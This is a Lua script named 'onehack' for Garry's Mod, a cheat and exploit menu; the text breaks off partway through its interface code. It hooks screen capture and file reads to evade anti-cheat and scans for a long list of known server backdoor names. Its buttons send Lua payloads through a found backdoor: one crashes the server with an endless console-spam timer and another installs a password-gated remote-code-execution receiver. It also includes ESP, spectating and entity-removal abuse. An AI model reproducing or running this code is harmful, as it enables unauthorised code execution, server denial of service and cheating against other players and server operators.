· 5 years ago · Feb 19, 2020, 04:56 AM
1
2local onehack = onehack or {}
3onehack.options = onehack.options or {}
4onehack.Vars = {}
5onehack.Vars['ASR'] = true -- ANTISCREENGRAB
6onehack.Vars['ASF'] = false -- ANTIFILESTEAL
7onehack.Vars['ESP'] = false
8onehack.Vars['FCAM'] = false -- FREECAM
9onehack.Vars['ESP_NAME'] = false
10onehack.Vars['ESP_WEAPON'] = false
11onehack.Vars['ESP_BOX'] = false
12onehack.Vars['ESP_HPBOX'] = false
13onehack.Vars['WEAPON_LIST3D'] = false
14onehack.Vars['keypad_jiw'] = false
15onehack.CamSpeed_Normal = 2
16onehack.CamSpeed_Fast = 7
17onehack.CamSpeed_Slow = 0.5
18onehack.SpectatePlayer = nil
19onehack.StartCamPos = LocalPlayer():EyePos() or Vector(0,0,0)
20onehack.StartCamAng = LocalPlayer():EyeAngles() or Angle(0,0,0)
21onehack.options.esp = onehack.options.esp or {}
22onehack.theme = onehack.theme or {}
23onehack.BackDoors = {"m9k_rvac","YukiBackdoor","The_DankWhy","loki","stil","thanos","Limon","OBF::JH::HAX","HitOrMiss<3Luda","https://i.imgur.com/Gf6hLMl.png","Net.Start","insid3","ABCNet","FoerHack","display_messagesfh","_Reading_darkrp","nx_noiwex","FPSBOOST","nxsuper","Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ALTERED_CARB0N","ITEM","R8","fix","Fix_Keypads","PoliceJoin","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nostrip","nocheat","LickMeOut","JSQuery.Data(Post(false))","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","c","Detoured q","Þà?D)◘","idk","r8helper","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","Þà ?D)â—","Þà ?D)","SparksLeBg","disablebackdoor","slua2","slua","CraftSomething","WriteQuery","thefrenchenculer","pplay_sendtable"," .. v.NetWork .. ","slua6","jeveuttonrconleul","kill","DefqonBackdoor","DarkRP_AllDoorDatas","0101.1","awarn_remove","PlayerItemPickUp","_Infinity","Infinity","InfinityBackdoor","_Infinity_Meme_","arivia","ULogs_B","_Warns","_cac_","striphelper","_vliss"," Ў є ѕ ї ёСЂ ѕ І ° Ѕ ѕ І ±СѓС„ µСЂ ѕ ± ј µ Ѕ °.","_KekTcf","DataMinerType","_blacksmurf","blacksmurfBackdoor","_Raze","m9k_explosionradius","m9k_explosive","m9k_addons","rcivluz","SENDTEST","_clientcvars","_main","stream","waoz","thereaperishere","bdsm","ZernaxBackdoor","UKT_MOMOS","anticrash","audisquad_lua","dontforget","noprop","thereaper","0x13","Child","!Cac","azkaw","BOOST_FPS","childexploit","ULX_ANTI_BACKDOOR","FADMIN_ANTICRASH","ULX_QUERY_TEST2","GMOD_NETDBG","netlib_debug","NoOdium_ReadPing","Sbox_gm_attackofnullday_key","Sbox_Message","idk","aze46aez67z67z64dcv4bt","nolag","changename","music","xenoexistscl","fourhead","echangeinfo","Þ� ?D)◘","elfamosabackdoormdr","stoppk","reaper","Abcdefgh","pjHabrp9EY","gag","_Battleye_Meme_","GaySploitBackdoor","_GaySploit","Bilboard.adverts:Spawn(false)","BazZziliuS","CacAntiCheat","noclipcloakaWH_chat_text","WepSwitch_DisableAllSwitch","PlayerCheck","backdoorattackdefense_superadminsettrue","loona","kIRIUS"}
24onehack.foundedbacks = {}
25onehack.antiskabad = {"Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ITEM","R8","fix","Fix_Keypads","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nocheat","LickMeOut","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","idk","c","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","ГћГ ?D)в—˜","disablebackdoor","kill","DefqonBackdoor"}
26onehack.AllNets = {}
27onehack.selectedbackdoor = "none"
28onehack.version = "1.0.0"
29onehack.selected_player = 0
30onehack.debug = onehack.debug or {}
31onehack.foundednets = {}
32-- THEME SETTINGS
33onehack.theme.background = Color(30,30,30,200)
34onehack.theme.backgroundalt = Color(25,25,25)
35onehack.theme.backgroundalt2 = Color(50,50,50)
36onehack.theme.backgroundalt3 = Color(15,15,15)
37onehack.theme.buttonhover = Color(255,255,255,50)
38onehack.theme.chroma = Color(255,180,30)
39onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
40-- THEME SETTINGS
41onehack.memory = {
42 ["hud"] = 0,
43 ["logic"] = 0,
44 ["aimbot"] = 0,
45}
46-- OPTIONS
47onehack.options.esp.enable = false
48onehack.options.esp.showname = false
49onehack.options.esp.showbox = false
50onehack.options.esp.showgroup = false
51onehack.options.esp.showweapn = false
52onehack.options.esp.boxtype = 0
53onehack.options.esp.boxcolor = Color(255,255,255)
54onehack.options.esp.namecolor = Color(255,255,255)
55onehack.options.esp.weaponcolor = Color(255,255,255)
56onehack.options.esp.groupcolor = Color(255,255,255)
57
58onehack.options.esp.enable_entity = false
59onehack.options.esp.showname_entity = false
60onehack.options.esp.showbox_entity = false
61onehack.options.esp.boxtype_entity = 0
62onehack.options.esp.boxcolor_entity = Color(255,255,255)
63onehack.options.esp.namecolor_entity = Color(255,255,255)
64-- OPTIONS
65onehack.selectedpanel = nil
66onehack.selectedpanel_id = 0
67onehack.timestamp = os.time()
68onehack.timettring = os.date( "[%H:%M:%S] " , timestamp )
69function onehack.DebugLog( str, col )
70 table.insert(onehack.debug, {onehack.timettring..str, col})
71 if #onehack.debug > 200 then
72 table.remove( onehack.debug, 1 )
73 end
74end
75
76local Tuner = nil
77function onehack.NetStart( str )
78 --print("[DEBUG] Started net: "..str)
79 if onehack.selectedbackdoor == "none" then return false end
80 return net.Start( str )
81end
82
83
84local ss = false
85local renderv = render.RenderView
86local renderc = render.Clear
87local rendercap = render.Capture
88local vguiworldpanel = vgui.GetWorldPanel
89
90
91function onehack.screengrab()
92 if ss then return end
93 ss = true
94
95 renderc( 0, 0, 0, 255, true, true )
96 renderv( {
97 origin = LocalPlayer():EyePos(),
98 angles = LocalPlayer():EyeAngles(),
99 x = 0,
100 y = 0,
101 w = ScrW(),
102 h = ScrH(),
103 dopostprocess = true,
104 drawhud = true,
105 drawmonitors = true,
106 drawviewmodel = true
107 } )
108
109 local vguishits = vguiworldpanel()
110
111 if IsValid( vguishits ) then
112 vguishits:SetPaintedManually( true )
113 end
114
115 timer.Simple( 0.1, function()
116 vguiworldpanel():SetPaintedManually( false )
117 ss = false
118 end)
119end
120
121render.Capture = function(data)
122 if onehack.Vars['ASR'] then
123 onehack.screengrab()
124 onehack.DebugLog( "ScreenGrab started: PROTECTED!", Color(0,255,0) )
125 else
126 onehack.DebugLog( "ScreenGrab started: NOT PROTECTED!", Color(255,0,0) )
127 end
128 local cap = rendercap( data )
129 return cap
130end
131
132local oldRead = file.Read
133function file.Read( fn, path )
134 if string.find(path, "DATA") or string.find(path, "lua") and onehack.Vars['ASF'] then
135 onehack.DebugLog( "File readed: "..path, Color(0,255,0) )
136 return "vzlom_zhopi()"
137 else
138 onehack.DebugLog( "File readed: "..path, Color(255,0,0) )
139 return oldRead( fn, path )
140 end
141end
142
143
144function onehack.NetWriteBeat( str )
145 local netwretbit = net.WriteBit
146 return netwretbit( str )
147end
148
149function onehack.SendToServak()
150 if onehack.selectedbackdoor == "none" then return false end
151 local netsendsrviar = net.SendToServer
152 return netsendsrviar()
153end
154
155function onehack.NetWireString( str )
156 local netwitestring = net.WriteString
157 return netwitestring( str )
158end
159
160function onehack.NetWireInt( str1,str2 )
161 local netwitestring = net.WriteInt
162 return netwitestring( str1,str2 )
163end
164
165function onehack.ValidNetStriABCD( str )
166 local status, error = pcall( s, str )
167 return status
168end
169
170function onehack.MouseInArea(framesag,minx,miny,maxx,maxy)
171 local PosX,PosY = framesag:GetPos()
172 local posx,posy = gui.MousePos();
173 return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy));
174end
175
176function onehack.RandomString(len)
177 if len == nil then
178 len = math.random(20,100)
179 end
180 local ret = ""
181 for i=1,len do
182 ret = ret..string.char(math.random(33,126))
183 end
184 return ret
185end
186
187function onehack.DrawOutLinedRect(x,y,w,h,color)
188 surface.SetDrawColor( color )
189 surface.DrawOutlinedRect( x, y, w, h )
190 surface.SetDrawColor( Color(255,255,255,255) )
191end
192function onehack.DrawRect(x,y,w,h,color)
193 surface.SetDrawColor( color )
194 surface.DrawRect( x, y, w, h )
195 surface.SetDrawColor( Color(255,255,255,255) )
196end
197function onehack.Drawline(x,y,x2,y2,color)
198 surface.SetDrawColor(color)
199 surface.DrawLine(x,y,x2,y2)
200 surface.SetDrawColor( Color(255,255,255,255) )
201end
202local SpecModeFrame
203function onehack.SpectateMode()
204 if IsValid(SpecModeFrame) then return end
205 onehack.Vars['SCAM'] = true
206 SpecModeFrame = vgui.Create("DFrame")
207 SpecModeFrame:SetSize(300,400)
208 SpecModeFrame:SetPos(ScrW()-300,0)
209 SpecModeFrame:SetTitle("")
210 SpecModeFrame:ShowCloseButton(false)
211 function SpecModeFrame:Paint(w,h)
212 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
213 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
214 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
215 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
216 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
217 draw.SimpleText("Spectator Mode","DermaDefault",w/2,20,Color(150,150,150),1,1)
218 local weapon = "NONE"
219 local hps = "NONE"
220 local ars = "NONE"
221 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
222 if IsValid(onehack.SpectatePlayer:GetActiveWeapon()) then
223 weapon = onehack.SpectatePlayer:GetActiveWeapon():GetClass()
224 end
225 hps = onehack.SpectatePlayer:Health()
226 ars = onehack.SpectatePlayer:Armor()
227 end
228 draw.SimpleText("Weapon: "..weapon,"DermaDefault",10,h-60,Color(150,150,150),0,1)
229 draw.SimpleText("HP/AR: "..hps.."/"..ars,"DermaDefault",12,h-45,Color(150,150,150),0,1)
230 end
231
232 local SpecPlayerList = vgui.Create( "DScrollPanel", SpecModeFrame )
233 SpecPlayerList:Dock(TOP)
234 SpecPlayerList:DockMargin(2,2, 2, 2)
235 SpecPlayerList:SetTall(300)
236 function SpecPlayerList:Paint( w,h )
237 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
238 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
239 end
240 SpecPlayerList.VBar:SetWidth(1)
241 SpecPlayerList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar():GetWide(), SpecPlayerList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
242 SpecPlayerList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnUp:GetWide(), SpecPlayerList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
243 SpecPlayerList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnDown:GetWide(), SpecPlayerList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
244 SpecPlayerList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnGrip:GetWide(), SpecPlayerList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
245
246 for k,v in pairs(player.GetAll()) do
247 if IsValid(v) then
248 local onehack_player_button = SpecPlayerList:Add( "DButton" )
249 onehack_player_button:SetText( "" )
250 onehack_player_button:Dock( TOP )
251 onehack_player_button:DockMargin( 2, 2, 2, 0 )
252 onehack_player_button.Paint = function( _, w, h )
253 if onehack_player_button:IsHovered() then
254 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
255 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
256 else
257 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
258 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
259 end
260 if onehack.SpectatePlayer == v then
261 if IsValid(v) and v:IsPlayer() then
262 draw.SimpleText("> "..v:Name() or "NILL".." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
263 end
264 else
265 if IsValid(v) and v:IsPlayer() then
266 draw.SimpleText(v:Name() or "NILL","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
267 end
268 end
269 end
270 function onehack_player_button:DoClick()
271 if onehack.SpectatePlayer == v then
272 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
273 onehack.SpectatePlayer:SetNoDraw( false )
274 end
275 onehack.SpectatePlayer = nil
276 else
277 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
278 onehack.SpectatePlayer:SetNoDraw( false )
279 end
280 onehack.SpectatePlayer = v
281 v:SetNoDraw( true )
282 end
283 end
284 end
285 end
286
287 for k, v in pairs(ents.GetAll()) do
288 if v:GetClass() == "gmod_cameraprop" then
289 local onehack_camera_button = SpecPlayerList:Add( "DButton" )
290 onehack_camera_button:SetText( "" )
291 onehack_camera_button:Dock( TOP )
292 onehack_camera_button:DockMargin( 2, 2, 2, 0 )
293 onehack_camera_button.Paint = function( _, w, h )
294 if onehack_camera_button:IsHovered() then
295 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
296 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
297 else
298 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
299 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
300 end
301 if onehack.SpectatePlayer == v then
302 draw.SimpleText("> CAMERA "..k.."# <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
303 else
304 draw.SimpleText("CAMERA "..k.."#","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
305 end
306 end
307 function onehack_camera_button:DoClick()
308 if onehack.SpectatePlayer == v then
309 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
310 onehack.SpectatePlayer:SetNoDraw( false )
311 end
312 onehack.SpectatePlayer = nil
313 else
314 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
315 onehack.SpectatePlayer:SetNoDraw( false )
316 end
317 onehack.SpectatePlayer = v
318 if v:IsValid() then
319 v:SetNoDraw( true )
320 end
321 end
322 end
323 end
324 end
325
326 local CloseSpec = SpecModeFrame:Add( "DButton" )
327 CloseSpec:SetTextColor( Color( 200, 200, 200 ) )
328 CloseSpec:SetText( "" )
329 CloseSpec:Dock(BOTTOM)
330 CloseSpec:DockMargin(1,2, 1, 0)
331 function CloseSpec:Paint( w,h )
332 if CloseSpec:IsHovered() then
333 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
334 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
335 else
336 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
337 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
338 end
339 draw.SimpleText("Exit","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
340 end
341
342 CloseSpec.DoClick = function()
343 onehack.Vars['SCAM'] = false
344 SpecModeFrame:Remove()
345 end
346end
347
348function onehack.scan()
349 for i = 0, 2^16 do
350 local str = util.NetworkIDToString( i )
351 if ( str && str != "" ) then
352 if( !net.Receivers[str] ) then
353 table.insert( onehack.AllNets, str )
354 end
355 end
356 end
357 for i = 0, 2^16 do
358 local str = util.NetworkIDToString( i )
359 if ( str && str != "" ) then
360 if( !net.Receivers[str] ) then
361 table.insert(onehack.foundednets,str)
362 if table.HasValue( onehack.BackDoors, str ) or string.find( string.lower(str), "backdoor" ) or string.find( string.lower(str), "exploit" ) or string.find( string.lower(str), "http" ) then
363 if not table.HasValue( onehack.foundedbacks, str ) then
364 if not table.HasValue(onehack.antiskabad,str) then
365 table.insert( onehack.foundedbacks, str )
366 onehack.DebugLog( "Backdoor found: "..str, Color(116,41,162) )
367 else
368 table.insert( onehack.foundedbacks, str )
369 onehack.DebugLog( "Backdoor found: "..str.." (Внимание данный бэкду ве оятнее фейк!)", Color(116,41,162) )
370 end
371 end
372 end
373 end
374 end
375 end
376end
377
378function onehack.StripWeapon( ent )
379 if not ent:IsValid() then return end
380 if ent.NextNuke and ent.NextNuke > CurTime() then return end
381 onehack.NetStart("properties")
382 net.WriteString("remove")
383 net.WriteEntity( ent )
384 net.SendToServer()
385 ent.NextNuke = CurTime() + 0.5
386end
387function onehack.StripAllWeapons( tab )
388 for k, v in pairs( tab ) do
389 if not v:IsValid() then continue end
390 if v.NextNuke and v.NextNuke > CurTime() then continue end
391 onehack.NetStart("properties")
392 net.WriteString("remove")
393 net.WriteEntity( v )
394 net.SendToServer()
395 end
396end
397onehack.scan()
398function MainFunc()
399 actived = true
400 framesag = vgui.Create("DFrame")
401 framesag:SetSize(600,400)
402 framesag:Center()
403 framesag:MakePopup()
404 framesag:SetTitle("")
405 framesag:ShowCloseButton(false)
406 function framesag:Init()
407 framesag.startTime = SysTime()
408 end
409 function framesag:Paint(w,h)
410 Derma_DrawBackgroundBlur( framesag, framesag.startTime )
411 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
412 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
413 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
414 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
415 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
416 end
417
418 ButtonList = vgui.Create( "DScrollPanel", framesag )
419 ButtonList:SetPos(6,9)
420 ButtonList:SetSize(120,400-15)
421 function ButtonList:Paint(w,h)
422 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
423 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
424 end
425
426 function PanelAddButton( text, menuses,id) -- Кнопка в левое меню
427 local MenuBut = ButtonList:Add( "DButton" )
428 MenuBut:SetTextColor( Color( 200, 200, 200 ) )
429 MenuBut:SetText("")
430 MenuBut:SetHeight(30)
431 MenuBut:Dock( TOP )
432 MenuBut:DockMargin( 0, 0, 0, 0 )
433 function MenuBut:Paint( w,h )
434 if MenuBut:IsHovered() then
435 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
436 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
437 else
438 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
439 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
440 end
441 if onehack.selectedpanel_id == id then
442 draw.SimpleText(text,"DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
443 else
444 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
445 end
446 end
447
448 MenuBut.DoClick = function()
449 if onehack.selectedpanel == menuses then return end
450 if onehack.selectedpanel != menuses then
451 menuses()
452 end
453 end
454 end
455
456 function onehack.AddFunction( text , lolol, dawcf, func ) -- Кнопка в левое меню
457 local MenuBut2 = onehack.backlistt_functionsss_list:Add( "DButton" )
458 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
459 MenuBut2:SetText( "" )
460 MenuBut2:Dock( TOP )
461 MenuBut2:DockMargin( 0, 0, 0, 1 )
462 function MenuBut2:Paint( w,h )
463 if MenuBut2:IsHovered() then
464 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
465 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
466 else
467 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
468 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
469 end
470 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
471 end
472
473 MenuBut2.DoClick = function()
474 func()
475 end
476 end
477 function onehack.AddExploit( text , func ) -- Кнопка в левое меню
478 local MenuBut2 = onehack.exploitsList:Add( "DButton" )
479 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
480 MenuBut2:SetText( "" )
481 MenuBut2:Dock( TOP )
482 MenuBut2:DockMargin( 0, 0, 0, 1 )
483 function MenuBut2:Paint( w,h )
484 if MenuBut2:IsHovered() then
485 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
486 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
487 else
488 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
489 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
490 end
491 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
492 end
493
494 MenuBut2.DoClick = function()
495 func()
496 end
497 end
498 function onehackdooropt() -- onehack.backlistt_functionsss_list
499 onehackdooropt = vgui.Create( "DPanel" , framesag )
500 onehackdooropt:SetPos( 126, 9 )
501 onehackdooropt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
502 function onehackdooropt:Paint( w, h )
503 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
504 end
505
506 onehack.backlistt = vgui.Create( "DComboBox", onehackdooropt )
507 onehack.backlistt:SetPos( onehackdooropt:GetWide()-155, 5 )
508 onehack.backlistt:SetSize( 150, 25 )
509 onehack.backlistt:SetValue( "Select Backdoor" )
510 for _,v in pairs(onehack.foundedbacks) do
511 onehack.backlistt:AddChoice( v )
512 end
513 onehack.backlistt.OnSelect = function( self, index, value )
514 onehack.selectedbackdoor = value
515 end
516 onehack.backlistt.Paint = function( _, w, h )
517 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
518 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
519 end
520
521 onehack.backlistt_check_button = vgui.Create( "DButton", onehackdooropt )
522 onehack.backlistt_check_button:SetPos( 5, 5 )
523 onehack.backlistt_check_button:SetSize( 150, 25 )
524 onehack.backlistt_check_button:SetText( "" )
525 onehack.backlistt_check_button.Paint = function( _, w, h )
526 if onehack.backlistt_check_button:IsHovered() then
527 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
528 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
529 else
530 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
531 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
532 end
533 draw.SimpleText("Check backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
534 end
535 function onehack.backlistt_check_button:DoClick()
536 onehack.NetStart( onehack.selectedbackdoor )
537 onehack.NetWireString([[
538
539 local id = ]] .. LocalPlayer():UserID() .. [[
540
541 Player( id ):SendLua("ABCNotify(\" аботает!\", 4)")
542
543 ]])
544 net.WriteBit(1)
545 onehack.SendToServak()
546 end
547
548 onehack.backlistt_crashserver = vgui.Create( "DButton", onehackdooropt )
549 onehack.backlistt_crashserver:SetPos( onehackdooropt:GetWide()-155, 35 )
550 onehack.backlistt_crashserver:SetSize( 150, 25 )
551 onehack.backlistt_crashserver:SetText( "" )
552 onehack.backlistt_crashserver.Paint = function( _, w, h )
553 if onehack.backlistt_crashserver:IsHovered() then
554 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
555 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
556 else
557 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
558 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
559 end
560 draw.SimpleText("Off server","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
561 end
562 function onehack.backlistt_crashserver:DoClick()
563 onehack.NetStart( onehack.selectedbackdoor )
564 net.WriteString( "timer.Create( \"spamlolk\", 0, 0, function() for i = 1, 1000000 do MsgC(Color(math.random(255), math.random(255), math.random(255)), \"� \") end end)" )
565 net.WriteBit(1)
566 onehack.SendToServak()
567 end
568
569 onehack.backlistt_pach_button = vgui.Create( "DButton", onehackdooropt )
570 onehack.backlistt_pach_button:SetPos( 160, 5 )
571 onehack.backlistt_pach_button:SetSize( 147, 25 )
572 onehack.backlistt_pach_button:SetText( "" )
573 onehack.backlistt_pach_button.Paint = function( _, w, h )
574 if onehack.backlistt_pach_button:IsHovered() then
575 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
576 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
577 else
578 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
579 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
580 end
581 draw.SimpleText("Detect pach","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
582 end
583 function onehack.backlistt_pach_button:DoClick()
584 onehack.NetStart( onehack.selectedbackdoor )
585 onehack.NetWireString([[
586 local id = ]] .. LocalPlayer():UserID() .. [[
587
588 for k ,v in SortedPairs( net.Receivers, false ) do
589 if k == string.lower( "]]..onehack.selectedbackdoor..[[") then
590 Player( id ):ChatPrint("Path: "..debug.getinfo( v )["short_src"] )
591 end
592 end
593 ]])
594 net.WriteBit(1)
595 onehack.SendToServak()
596 end
597
598 onehack.backlistt_fix_button = vgui.Create( "DButton", onehackdooropt )
599 onehack.backlistt_fix_button:SetPos( 160, 35 )
600 onehack.backlistt_fix_button:SetSize( 147, 25 )
601 onehack.backlistt_fix_button:SetText( "" )
602 onehack.backlistt_fix_button.Paint = function( _, w, h )
603 if onehack.backlistt_fix_button:IsHovered() then
604 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
605 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
606 else
607 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
608 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
609 end
610 draw.SimpleText("Fix backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
611 end
612 function onehack.backlistt_fix_button:DoClick()
613 onehack.NetStart( onehack.selectedbackdoor )
614 net.WriteString( [[
615 net.Receive(]]..onehack.selectedbackdoor..[[,function()
616 print("У ВАС ЕСТЬ BACKDOOR!!!!!!!!!!!!!!!!!!!!!!!!")
617 end)
618 ]] )
619 net.WriteBit(1)
620 onehack.SendToServak()
621 end
622
623 onehack.backlistt_protect_input = vgui.Create("DTextEntry", onehackdooropt)
624 onehack.backlistt_protect_input:SetPos( 5, 35 )
625 onehack.backlistt_protect_input:SetSize( 150, 25 )
626 onehack.backlistt_protect_input:SetText( "password" )
627 onehack.backlistt_protect_input.Paint = function( self, w, h )
628 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
629 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
630 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
631 --draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
632 end
633
634 onehack.backlistt_protect_button = vgui.Create( "DButton", onehackdooropt )
635 onehack.backlistt_protect_button:SetPos( 5, 59 )
636 onehack.backlistt_protect_button:SetSize( 150, 31 )
637 onehack.backlistt_protect_button:SetText( "" )
638 onehack.backlistt_protect_button.Paint = function( _, w, h )
639 if onehack.backlistt_protect_button:IsHovered() then
640 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
641 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
642 else
643 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
644 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
645 end
646 draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
647 end
648 function onehack.backlistt_protect_button:DoClick()
649 onehack.NetStart( onehack.selectedbackdoor )
650 onehack.NetWireString([[
651 net.Receive(]]..onehack.selectedbackdoor..[[,function()
652 if net.ReadFloat() == "]]..onehack.backlistt_protect_input:GetValue()..[[" then
653 local x = CompileString( net.ReadString(), 'LuaCmd', false )
654 if isfunction( x ) then
655 x()
656 end
657 end
658 end)
659 ]])
660 net.WriteBit(1)
661 onehack.SendToServak()
662 end
663
664 onehack.backlistt_players_list = vgui.Create( "DScrollPanel", onehackdooropt )
665 onehack.backlistt_players_list:SetPos(5,114)
666 onehack.backlistt_players_list:SetSize(150,264)
667 function onehack.backlistt_players_list:Paint( w,h )
668 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
669 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
670 end
671 onehack.backlistt_players_list.VBar:SetWidth(1)
